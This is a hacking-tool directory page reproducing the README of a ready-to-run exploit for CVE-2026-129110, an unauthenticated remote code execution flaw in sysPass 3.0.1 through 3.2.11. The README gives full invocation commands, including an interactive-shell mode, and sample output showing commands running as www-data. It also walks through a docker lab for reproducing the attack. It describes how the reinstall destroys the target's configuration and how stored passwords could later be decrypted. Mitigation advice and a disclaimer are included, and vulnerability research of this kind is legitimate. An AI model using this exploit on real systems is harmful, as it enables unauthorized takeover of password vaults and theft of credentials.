Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-129110-sysPass — CVE-2026-129110: unauthenticated reinstallation RCE in sysPass 3.0.1 through 3.2.11 | Kitploit
Tools/GitHubGitHub/psylinux/cve-2026-129110-syspass
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingCommand and ControlRemote Access Tool
GitHub
psylinux/cve-2026-129110-syspass

CVE-2026-129110-sysPass

CVE-2026-129110: unauthenticated reinstallation RCE in sysPass 3.0.1 through 3.2.11

View Repository
6 days agoNot yet reviewed
Share

CVE-2026-129110: unauthenticated RCE in sysPass

sysPass does not check whether it is already installed before handling POST /index.php?r=install/install. The install controller sits in Init::PARTIAL_INIT, so the bootstrap skips both the installed gate and the session handling. An unauthenticated attacker can reinstall a live instance and point it at a database they control, then plant a serialized PHP object in PublicLink.data. When the public link is opened, AccountController::viewLinkAction() passes that column to unserialize() with no allowed_classes restriction, and a phpggc Monolog gadget executes a command as the web server user.

  • CVE: CVE-2026-129110
  • Weaknesses: CWE-306, CWE-502
  • Affected: sysPass 3.0.1 through 3.2.11 (all upstream releases)
  • Tested: syspass/syspass:3.2.3 and 3.2.11 (PHP 7.3.31, Monolog 1.27.x, phpseclib 2.0.37), attacker database MariaDB 10.6.28, with root and with an unprivileged account scoped to one database
  • Write-up: https://evilbuffer.com/

Discovered by Marcos Azevedo (@psylinux) in June 2023. The initial proof of concept was written by hand, without AI tools; the exploit was improved with AI assistance in 2026.

Requirements

  1. PHP CLI with the openssl extension. Used to encrypt the install fields with the target's public key, using the same PKCS#1 v1.5 padding as the server.
  2. phpggc on PATH, or --phpggc /path/to/phpggc.
  3. A MySQL or MariaDB server you control, reachable from the victim. Root is not required: an account with GRANT ALL ON \db`.*` is enough, and it can create that database.
  4. The mysql client, or --print-sql to print the SQL and run it yourself.

Usage

One command:

python3 exploit-CVE-2026-129110.py \
  --target http://VICTIM:PORT \
  --db-host ATTACKER_DB_HOST \
  --db-user ATTACKER_DB_USER --db-pass ATTACKER_DB_PASS \
  --db-name syspass \
  --phpggc /opt/phpggc/phpggc \
  --cmd 'id'

Interactive shell. Each command is re-planted in PublicLink and its output is read back from the HTTP response:

python3 exploit-CVE-2026-129110.py \
  --target http://VICTIM:PORT \
  --db-host ATTACKER_DB_HOST \
  --db-user ATTACKER_DB_USER --db-pass ATTACKER_DB_PASS \
  --phpggc /opt/phpggc/phpggc --shell

Print the SQL instead of touching the database:

python3 exploit-CVE-2026-129110.py \
  --target http://VICTIM:PORT --db-host ATTACKER_DB_HOST \
  --db-user ATTACKER_DB_USER --db-pass ATTACKER_DB_PASS --print-sql

With --print-sql the database must already exist, because the exploit still performs the install and the installer's hosting mode requires it.

Options: --hash (public link hash, default exploit), --db-name (default syspass), --db-user (default root), --mysql-connect-host (when your host resolves the database under a different name than the victim does).

Expected output:

[*] Step 1: fetching install PKI public key
[*] Step 2: creating the attacker database
[+] Attacker database `syspass` ready.
[*] Step 3: reinstalling the target against the attacker DB (CWE-306)
[*] install/install -> HTTP 200: {"status":0,"description":"Installation finished",...}
[*] Step 4: seeding Client, Category, UserGroup, Account and PublicLink
[+] Rows planted on the attacker DB.
[*] Step 5: executing 'id' through the public link (CWE-502)
[+] Command output (HTTP 200):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reproducing the lab

docker network create syspass-lab
docker run -d --name lab-db --network syspass-lab \
  -e MARIADB_ROOT_PASSWORD=rootpass mariadb:10.6
docker run -d --name victim --network syspass-lab \
  -p 18080:80 syspass/syspass:3.2.3
docker exec lab-db mysql --skip-ssl -u root -prootpass -e "
  CREATE USER 'spowner'@'%' IDENTIFIED BY 'ownerpass';
  GRANT ALL PRIVILEGES ON \`syspass\`.* TO 'spowner'@'%';
  FLUSH PRIVILEGES;"

docker run -d --name tools --network syspass-lab \
  -v "$PWD":/work php:8.2-cli sleep infinity
docker exec tools bash -c 'apt-get update -qq &&
  apt-get install -y -qq --no-install-recommends python3 mariadb-client git &&
  git clone -q --depth 1 https://github.com/ambionics/phpggc /opt/phpggc'

docker exec tools python3 /work/exploit-CVE-2026-129110.py \
  --target http://victim \
  --db-host lab-db --db-user spowner --db-pass ownerpass \
  --db-name syspass --phpggc /opt/phpggc/phpggc --cmd 'id'

What it does to the target

The reinstall is destructive to the configuration. It rewrites app/config/config.xml to point at the attacker database and writes no configuration backup, so the instance loses access to its own vault. The rows in the old database are not deleted; the instance simply no longer reaches them.

Two details worth knowing:

  • The installer runs schemas/dbstructure.sql, which contains 31 DROP TABLE IF EXISTS and 4 DROP VIEW IF EXISTS statements, against the database named in dbname. That database is the attacker's, so the victim's tables are safe. Point dbname at the victim's own database and they are gone.
  • passwordSalt survives the reinstallation, because the salt is only generated when config.xml is absent. That value plus an old database dump and one user's login password is enough to decrypt every stored account password offline. This exploit does not do that decryption; the write-up covers it.

Fix

There is no upstream patch. Upstream is unmaintained. The maintained fork, OpusProjects/sysPass, fixes both problems: #360 makes installAction() refuse to run when the instance is installed, and #300 restricts allowed_classes in every unserialize() call.

If you run upstream sysPass, block index.php?r=install/install at the reverse proxy, keep the instance off the internet, and restrict outbound connections so it cannot reach arbitrary database servers. If an instance was exposed, rotate every stored password: changing the master password does not help.

Legal

For authorized testing and research only. Run it only against systems you own or are explicitly permitted to test. The reinstall step is destructive to the target configuration.

References

  • Write-up: https://evilbuffer.com/
  • VulnCheck advisory: https://www.vulncheck.com/advisories/syspass-3.0.1-through-3.2.11-unauthenticated-reinstallation-rce-via-install-install
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-129110
  • Upstream: https://github.com/nuxsmin/sysPass
  • Maintained fork: https://github.com/OpusProjects/sysPass
  • phpggc: https://github.com/ambionics/phpggc
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    350
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292

Explore all tools

Browse our collection of tools

View all tools →